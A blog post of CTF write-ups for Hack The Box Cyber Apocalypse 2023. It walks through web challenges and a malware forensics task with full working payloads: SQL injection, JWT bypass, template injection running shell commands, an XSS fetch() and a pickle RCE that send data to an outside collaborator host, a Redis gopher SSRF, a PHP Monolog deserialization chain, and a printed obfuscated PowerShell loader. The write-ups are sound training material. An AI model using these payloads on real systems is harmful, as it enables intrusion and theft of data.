Hack The Box - Cyber Apocalypse 2023 - Writeups

Mukarram Khalid • March 23, 2023

ctf htb

Our team of three players solved 38 out of 74 challanges for Hack the Box - Cyber Apocalypse 2023 - The Cursed Mission CTF. The web challanges TrapTrack and UnEarthly Shop were my favorites. The writeups are as follows:

Web - Trapped Source (very easy)

Intergalactic Ministry of Spies tested Pandora's movement and intelligence abilities. She found herself locked in a room with no apparent means of escape. Her task was to unlock the door and make her way out. Can you help her in opening the door?

This was a very easy challenge. The web page asked for a pincode and the correct pincode was visible in the source code. Submitting the correct pincode revealed the flag.




Web - Gunhead (very easy)

During Pandora's training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.

This was another very easy challenge. We had the source code of a PHP application.

The web application had a terminal where we could execute some commands.


In the source code, we could see that this was vulnerable to command injection. There was no sanitization on the user supplied IP address.


We were able to use a simple command injection payload to read the flag.



Web - Drobots (very easy)

Pandora's latest mission as part of her reconnaissance training is to infiltrate the Drobots firm that was suspected of engaging in illegal activities. Can you help pandora with this task?

This was another very easy challenge. This was a Python based web application and we had the source code.

There was a login page vulnerable to SQL injection.


From the source code, we could see the user input directly appended to the SQL query.


The following payload worked.




Web - Passman (easy)

Pandora discovered the presence of a mole within the ministry. To proceed with caution, she must obtain the master control password for the ministry, which is stored in a password manager. Can you hack into the password manager?

Passman was a NodeJS based password manager web application and we had the source code.


We created an account and logged in. The HTTP request was a GraphQL mutation query.


In the source code, we saw another GraphQL mutation called UpdatePassword, which could allow us to update the password of any user.


We were able to change the password of the admin user with the following payload.

POST /graphql HTTP/1.1
Content-Length: 187
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im1ha21hbiIsImlzX2FkbWluIjowLCJpYXQiOjE2NzkxNDYxMDN9.8WOoTBzQaY59UIUO8x1ePOhHIsiEc5B2GMZvyL4m1jM
Connection: close

{"query":"mutation($username: String!, $password: String!) { UpdatePassword( username: $username, password: $password) { message } }","variables":{"username":"admin","password":"makman"}}


Once we logged in as the admin user, we could see the flag.



Web - Orbital (easy)

In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?

This was another Python based web application with a login page.


The user input was being passed directly to the SQL query again, but the password was checked separately and not in the query.


There were several ways to exploit this however we used the error based SQL injection to dump the password hash of the admin user.

First we dumped the first 16 characters of the password hash.

POST /api/login HTTP/1.1
Content-Length: 128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"username":"admin\" and updatexml(null,concat(0x3a,(select substring(password,1,16) from users)),null)-- -","password":"admin"}


And then we dumped the last 16 characters.

POST /api/login HTTP/1.1
Content-Length: 129
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"username":"admin\" and updatexml(null,concat(0x3a,(select substring(password,17,32) from users)),null)-- -","password":"admin"}

The password hash was 1692b753c031f2905b89e7258dbc49bb. This was a weak MD5 hash which could be easily cracked to get the plain text string i.e. ichliebedich. This allowed us to authenticate successfully.


From the source code, we saw another authenticated endpoint /api/export which was vulnerable to path traversal.


It allowed us to download the flag file /signal_sleuth_firmware. The name of the flag file was visible in the Dockerfile provided with the source code.



Web - Didactic Octo Paddles (medium)

You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop's system to obtain information on the relic's location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.

This was another NodeJS based application which allowed us to register accounts.


From the source code, we could see an admin route as well which was only accessible to the admin user.


The logic to check whether a user is an administrator or not was defined in the AdminMiddleware.

From the AdminMiddleware, we could see that it didn't allow none type JWT signing algorithm. However, it never checked for NONE.


In case of NONE, it would go in the last else statement, which would allow us to login as administrator and the JWT verification would always pass for an empty hash because of the NONE algorithm.

We created the following JWT token.


Which decodes to this.


Where "id":1 is the admin account. This allowed us to login as admin user.


The admin page printed the usernames of all the registered users. From the source code, we saw that this page was vulnerable to template injection.


This is a known issue with jsrender and more details can be found here. So if a user creates an account with the template injection payload as the username, this payload would get triggered on the admin page.

We created a user with the following payload in the username field.

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()")()}}
POST /register HTTP/1.1
Content-Length: 187
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpZCI6MSwiaWF0IjoxNjc5MTUyNDcxLCJleHAiOjE2NzkxNTYwNzF9.
Connection: close

{"username":"{{:\"pwnd\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}","password":"test"}

It triggered the template injection on the admin page, which printed the flag.



Web - SpyBug (medium)

As Pandora made her way through the ancient tombs, she received a message from her contact in the Intergalactic Ministry of Spies. They had intercepted a communication from a rival treasure hunter who was working for the alien species. The message contained information about a digital portal that leads to a software used for intercepting audio from the Ministry's communication channels. Can you hack into the portal and take down the aliens counter-spying operation?

SpyBug had two components. One was a NodeJS based application and the second was a Go based client. The client made HTTP requests to the web application.

From the Go client, we could see several endpoints. There was an endpoint to register an agent.


We issued the same HTTP request and it returned an identifier and a token.


Another endpoint from Go client was used to update details (hostname, platform, and arch) of the agent.


Another endpoint allowed us to upload audio files.


We moved to the web application source code. We saw an adminbot which would authenticate and visit the panel page once every minute.


If we look at the panel view, it was vulnerable to Cross-Site Scripting attack.


In pug templating engine, the ! exclamation mark prints the raw HTML without sanitization. Also, the panel page printed the flag.

So the attack path here would be to register an agent, upload the details of the agent with a cross-site scripting payload, wait for the adminbot to hit the payload and trigger XSS, and steal the flag with XSS.

However, there was a slight problem.

The application was using a Content-Security-Policy which did not allow inline JavaScript, and would only allow the JavaScript code hosted on the same domain.


We had a file upload feature where the agent could upload the audio recordings. We checked if we could upload JavaScript files using that feature.

The upload endpoint was expecting a file with audio/wave mime type and .wav extension.


And it also checked the presence of magic bytes (RIFF and WAVE) in the uploaded data to verify if it was actually an audio file.


We could bypass all these check and upload JavaScript code. We uploaded our malicious JavaScript code with the following HTTP request.

POST /agents/upload/2defcfa8-6959-4a60-8770-26bb63512707/d75391e5-8d0f-4788-bcfb-094f7786dc5f HTTP/1.1
User-Agent: Go-http-client/1.1
Content-Length: 372
Content-Type: multipart/form-data; boundary=ed04a8dbf08b609b13171d339b4bf360da7c130d5e5991fcbd0f72f05fda
Accept-Encoding: gzip, deflate
Connection: close

Content-Disposition: form-data; name="recording"; filename="test.wav"
Content-Type: audio/wave

fetch('http://3vzo34u6n065vwp9z0h2b2scu30uokc9.oastify.com/d='+btoa(encodeURI(document.body.innerText)),{cache: "no-cache"});

We passed RIFF::::WAVE as a JavaScript comment to bypass the checks for magic bytes, and we uploaded our JavaScript code in a test.wav file with a mimetype of audio/wave.

Once the request was successful, it returned the filename of the uploaded file. We used this filename in our XSS payload.

POST /agents/details/2defcfa8-6959-4a60-8770-26bb63512707/d75391e5-8d0f-4788-bcfb-094f7786dc5f HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: connect.sid=s%3A4LhhsXwl-gBH9L8x8wVXEkiEDZ1ORsW4.zW8ZsvzO6VWbjKbCToH5lF%2FvANAW%2FGgn9EoLEgn4jmw
Connection: close
Content-Type: application/json
Content-Length: 132

  "hostname": "<script src='/uploads/e938231e-6212-4e28-8951-db8a96604486'></script>",
  "platform": "tes",
  "arch": "test"

The adminbot triggered the payload and we received a hit on our Burp collaborator, which leaked the flag.




Web - TrapTrack (hard)

The aliens have prepared several trap websites to spread their propaganda campaigns on the internet. Our intergalactic forensics team has recovered an artifact of their health check portal that keeps track of their trap websites. Can you take a look and see if you can infiltrate their system?

We have the source code of a Python based application. It has a login page.


The username and the password is hardcoded in the source code as admin/admin.


Once we login, we see a feature to add trap tracks.



If we create a trap with our Burp Collaborator URL, we get a hit.


POST /api/tracks/add HTTP/1.1
Content-Length: 94
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: session=12d5ff67-0645-4c55-be8e-e6bdc9165655
Connection: close

{"trapName":"My Collaborator","trapURL":"http://4typ15s7l146txnax1f393qds4yvmmab.oastify.com"}


So there's an SSRF vulnerability here. We also see from the Dockerfile that there's Redis running internally on the default port 6379.

We can use the SSRF to issue commands to redis using gopher protocol. This article explains the attack really well.

Redis accepts text based communication in the following format.


We see that the application uses Redis to handle background queue jobs.

In cache.py, the application pulls a job from the redis queue, base64 decodes it, and then uses pickle.loads() on it. This can lead to python deserialization attack.


So the attack path is that we use the SSRF exploit to issue a SET command to Redis to put our base64 encoded pickled payload in the job queue, and when the application loads it, it will trigger RCE.

We need to set the payload in a hash type key jobs so we actually need to use HSET instead of SET, and a better way to do it would be to update the value of an existing job.

If we run the challenge docker locally, we see that there will always be an existing job at key 100 in Redis.> KEYS *
1) "jobqueue"
2) "jobs"
3) "100"> TYPE jobs
hash> HGET jobs 100

We can use HSET to update the value of this job.


For the base64 encoded pickle payload, we can use this script.


import pickle
import base64

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

# Send flag to our burp collaborator 
command = 'curl -X POST "gn71vhmjfdyin9hmrd9f3fkpmgs7gz4o.oastify.com" --data `/readflag`'

payload = base64.b64encode(pickle.dumps(PickleRCE()))

Let's try to create a gopher payload for the HSET command.

%0D%0A  <-- \r\n
%2A4    <-- %2A is $ and there are total 4 arguments in our command
%0D%0A  <-- \r\n
%244    <-- %2A is $ and 4 is the length of HSET
%0D%0A  <-- \r\n
HSET    <-- HSET
%0D%0A  <-- \r\n
%244    <-- %2A is $ and 4 is the length of "jobs"
%0D%0A  <-- \r\n
jobs    <-- jobs
%0D%0A  <-- \r\n
%243    <-- $ and 3 is the length of "100"
%0D%0A  <-- \r\n
100     <-- 100 is the job id
%0D%0A  <-- \r\n
%24156  <-- $ and 156 is the length of our payload
%0D%0A  <-- \r\n
gASVaQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjE5jdXJsIC1YIFBPU1QgImduNzF2aG1qZmR5aW45aG1yZDlmM2ZrcG1nczdnejRvLm9hc3RpZnkuY29tIiAtLWRhdGEgYC9yZWFkZmxhZ2CUhZRSlC4= <-- base64 encoded payload
%0D%0A  <-- \r\n

This is what the final SSRF payload looks like.


Let's give it a try.

We add the trap track with our SSRF payload.


After that, if we refresh the trap list page, we get the flag on our Burp Collaborator.



Web - UnEarthly Shop (hard)

The Ministry has informed Pandora that the UnEarthly Shop may have valuable information on the location of the relic they are looking for. The UnEarthly Shop is a mysterious underground store that sells unearthly artifacts suspected to be remnants of an alien spacecraft. If we can gain access to their server, we may be able to uncover information about the relic's whereabouts. Can you help Pandora in her mission to gain access to the UnEarthly Shop's server and aid in the fight to save humanity?



There are two sides of this application, the frontend and the backend. Both have separate codebases.

The backend is for administrators to manage orders and it requires authentication. As per the Nginx configuration, all the requests to /admin point to the backend codebase.

This is what the backend looks like. It requires authentication.


On the frontend, we can see products and place orders. Frontend does not require authentication.


When we load the frontend, it makes an API call to get all the procuts.


This looks like a MongoDB match aggregation. Wait, so a user can decide what aggregation to use? That's not a good idea because there are other aggregations like lookup, which can be used to join multiple collections. The mongodb lookup is like JOIN in MYSQL.

So even if this query is being executed for one collection, we can join it with another collection and pull data.

Let's take a look at this in the source code.

So this is the /api/products endpoint, which points to the products method of the ShopController.


The controller takes our input and passes it to the getProducts method of the ProductModel.


The product model simply executes the query on the products collection.


So this is definitely an issue. Even if the query is being executed on the products collection, we can use lookup aggregation to join another collection (like users) and view the data. Let's take a look at both collections in the source code.


This is interesting. If we join users collection with products collection on the _id field, we can pull the details of the admin user because the first product has the same _id as the admin user i.e. 1.

This is what the $lookup syntax looks like.

       "from": <collection to join>,
       "localField": <field from the input documents>,
       "foreignField": <field from the documents of the "from" collection>,
       "as": <output array field - can be string>

So our payload will be:

    "$lookup": {
      "from": "users",
      "localField": "_id",
      "foreignField": "_id",
      "as": "test"

We get the password of the admin user.


Side Note:

Another better payload to do this is as follows:

    "$lookup": {
      "from": "users",
      "pipeline": [{ "$match": { "_id" : {"$ne": ""}  } }],
      "as": "userinfo"

This is better because it works even if we don't have a matching _id value in the two collections. Shoutout to tpr#7435 from discord for sharing this payload.

We're logged in as admin user.


We saw some serialized data in the access field of the users collection, so that looks interesting.

So the access field is like a list of permissions a user has. When a user logs in on the backend, this access field is used to decide what permissions are associated with a user. We can see that happening in the AuthController. When the user logs in, the access key is stored in the $_SESSION key access.


Then this session key is unserialized in the UserModel in the property access.


This property is then used in the views of the application to check which parts of the application should be available to the logged in user. It's not the best idea to check for access permissions only in the views, but that's another story and not really the goal here.

Our goal is that we somehow place our serialized payload in the access field of the user collection and when it gets unserialized, we get code execution.

There's an application feature which allows us to update user name and the user password, but not the access or permissions.


Let's take a look at the code of this and see if there's a way to exploit this and change access field as well.

So the user update feature points to the update method in the UserController.


This method checks that the supplied data has id, username, and password fields and sends it to the updateUser method of the UserModel.

In UserModel, the updateUser method simply takes the data and updates in the users collection.


Do you see the problem here? There's a mass assignment vulnerability here.

The application doesn't check if there are any extra fields coming in with the update user request.

It checks for the missing fields, but it never checks for the extra fields. So if we send a serialized access field, it will get updated for the user.

Side Note:

Shoutout to chilaxan#3116 from discord for sharing another way to update the access field without exploiting the mass assignment issue. The following payload exploits the MongoDB injection in /api/products endpoint to update the access field.

  {"$skip": 255},
  {"$unionWith": "users"},
  {"$set": {"access": "PAYLOAD_HERE"}},
  {"$out": "users"}

So now, we have PHP deserialization vulnerability.

PHP derealization vulnerabilities are hard to exploit because we need to use parts of the existing code to do something malicious. Sometimes we need to chain together several different parts of the existing code. These chains are called gadgets. And it's not always possible to find exploitable gadgets.

There is an open source project called PHP Generic Gadget Chains, which keeps track of these exploitable gadgets in open source PHP libraries.

Now the next part is super tricky. One thing is certain, there's no useable gadget in the actual application code because a useable gadget requires a PHP magic method. We don't have that many in the application code, so it's probably somewhere in a third party library in the vendor directory.

The next problem is that there are only 3 third party libraries in the backend code base. And these libraries do not have any known exploitable gadgets.


However, in the frontend code, there are quite a few libraries with known exploitable gadgets like Guzzle and Monolog.


Now the question is, can we use the deserialization bug on the backend to invoke a piece of code from the frontend even though both of them have totally separate code bases and autoloaders. It turns out we can.

This technique was used by Ambionics team in vBulletin (<= 5.6.9) Pre-authentication Remote Code Execution. You can read more about it here.

The main point from this article is that sometimes the PHP autoloaders are poorly coded which can let you load code from anywhere on the filesystem. In the article, when they used their deserialization bug to load a class googlelogin_vendor_autoload, it actually loaded the file googlelogin/vendor/autoload.php which is another autoloader, which loaded a whole lot more classes in return, which eventually loaded the class with the exploitable PHP gadget.

The autoloader in this challenge has the exact same problem.


You see for any class with _ underscores, it will replace them with slashes and end up requireing file from another location.

We want to load the composer autoloader file of the frontend located at /www/frontend/vendor/autoload.php, which would load the Guzzle and Monolog libraries.

We can instantiate the class www_frontend_vendor_autoload which would be converted to /www/frontend/vendor/autoload.php by the backend autoloader.

After that, we can use a publicly available gadget of Monolog to get RCE. I didn't go with Guzzle gadget, because most of the RCE gadgets in Guzzle were fixed. The ones which are still available can write file to disk, which would be hard to exploit. On the other hand, the RCE gadget in Monolog is still available.

I used the following scripts to generate the payload.

First I created a file www_frontend_vendor_autoload.php.


// Load the autoloader of the frontend
class www_frontend_vendor_autoload {

Then I created another file MonoLogRCE.php.


// This gadget is publicly available at:
// https://github.com/ambionics/phpggc/blob/master/gadgetchains/Monolog/RCE/7/gadgets.php
namespace Monolog\Handler {
    class FingersCrossedHandler
        protected $passthruLevel = 0;
        protected $handler;
        protected $buffer;
        protected $processors;

        function __construct($methods, $command)
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = $this;

And then the final exploit.php to make the serialized payload.


require "www_frontend_vendor_autoload.php";
require "MonoLogRCE.php";

$obj = new www_frontend_vendor_autoload;

$obj2 = new \Monolog\Handler\FingersCrossedHandler(
    ['pos', 'system'],
    ['/readflag', 'level' => 0]

var_dump(json_encode(serialize([$obj, $obj2])));

I used json_encode so that the final payload has double quotes " escaped because this payload needs to go in JSON body and double quotes can mess it up. Plus json_encode would also take care of the null bytes by converting them to \u0000.

For the RCE, we're using PHP system function to execute the binary /readflag which would print the flag.

Here's the payload generated by this script.


Once we send this payload, we get the following response.


After that, if we simply refresh the admin dashboard, it would trigger the deserialization and print the flag.



Forensics - Relic Maps (medium)

Pandora received an email with a link claiming to have information about the location of the relic and attached ancient city maps, but something seems off about it. Could it be rivals trying to send her off on a distraction? Or worse, could they be trying to hack her systems to get what she knows?Investigate the given attachment and figure out what's going on and get the flag. The link is to http://relicmaps.htb:/relicmaps.one. The document is still live (relicmaps.htb should resolve to your docker instance).

The challenge description mentions a file hosted at http://relicmaps.htb:PORT/relicmaps.one. It's OneNote file.

We can use OneNote Analyzer to analyze this file.

.\OneNoteAnalyzer.exe --file "C:\Users\test\Desktop\topsecret-maps.one"

It would dump all the attachments of this OneNote file.


We see a few HTA files, which are all the same. Let's analyze what this HTA file does.

It downloads and executes two files.


The first one is another OneNote file topsecret-maps.one. There was nothing useful in it.

The second one window.bat is an obfuscated bat file. This bat file is dynamically creating a powershell script and executing it. The chunks of the powershell script are stored in several variables.


It also has a long obfuscated comment. May be it's just a useless comment to make the script harder to read.


If we echo all the chunks, this is the powershell script we get.

$eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\makman\Desktop\window.bat').Split([Environment]::NewLine);
foreach ($YiLGWin $eIfqq) { if ($YiLGW.StartsWith(':: ')) {
        $VuGcO = $YiLGW.Substring(3);
$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);
$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');
$Nlgap = $BacUA.CreateDecryptor();
$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);
$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);
$bTMLk = New-ObjectSystem.IO.MemoryStream;
$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);
$uZOcm = $bTMLk.ToArray();
$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);
$PtfdQ = $gDBNO.EntryPoint;
$PtfdQ.Invoke($null, (, [string[]]('')))

On line # 1, this powershell script extracts the comment from the previous bat file. So it seems like that comment was not useless after all. Once the comment is extracted, the powershell script AES decrypts it with a Key and IV from line # 7 to 14. BTW, do you see the method names in reverse? e.g. FromBase64String is gnirtS46esaBmorF and ReadAllText is txeTllAdaeR. Malware authors love that for some reason.

After the decryption, it converts the results into a memory stream and does a GZip decompression on it on line # 19.

Then it uses System.Reflection.Assembly to load the resulting bytes on line # 25. Malware authors love that too. Then it invokes the loaded assembly on line # 27.

We can modify this script to write the bytes to a binary on disk instead of reflective loading, so that we can further analyze it.

Here's the modified script.

$YiLGW = ":: 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";

$VuGcO = $YiLGW.Substring(3);

$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);

$BacUA = New-Object System.Security.Cryptography.AesManaged;
$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;
$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;
$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');
$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');

